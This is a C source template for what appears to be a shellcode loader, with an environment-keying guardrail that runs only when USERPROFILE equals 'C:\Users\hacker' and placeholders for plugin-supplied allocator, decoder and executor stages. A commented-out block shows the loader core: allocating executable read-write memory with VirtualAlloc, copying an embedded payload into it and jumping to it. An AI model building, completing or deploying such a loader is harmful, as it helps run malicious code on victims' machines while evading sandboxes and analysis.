#include char *supermega_payload; int main() { // Execution Guardrail: Env Check wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024); if (result == 0) { return 6; } if (mystrcmp(buffer, tocheck) != 0) { return 6; } // char *dest = ... {{ plugin_allocator }} // dest[] = supermega_payload[] // len: 0x11223344 {{ plugin_decoder }} // dest[] {{ plugin_executor }} /* // Copy shellcode // ntdll.dll: VirtualAlloc() char *dest = VirtualAlloc(NULL, 4096, 0x3000, 0x40); // 11223344 is a magic number which will be replaced in the asm source // with the payload length. for(int n=0; n<11223344; n++) { dest[n] = supermega_payload[n]; } // Exec shellcode (*(void(*)())(dest))(); */ return 0; } int mystrcmp(wchar_t* str1, wchar_t* str2) { int i = 0; while (str1[i] != L'\0' && str2[i] != L'\0') { if (str1[i] != str2[i]) { return 1; } i++; } return 0; }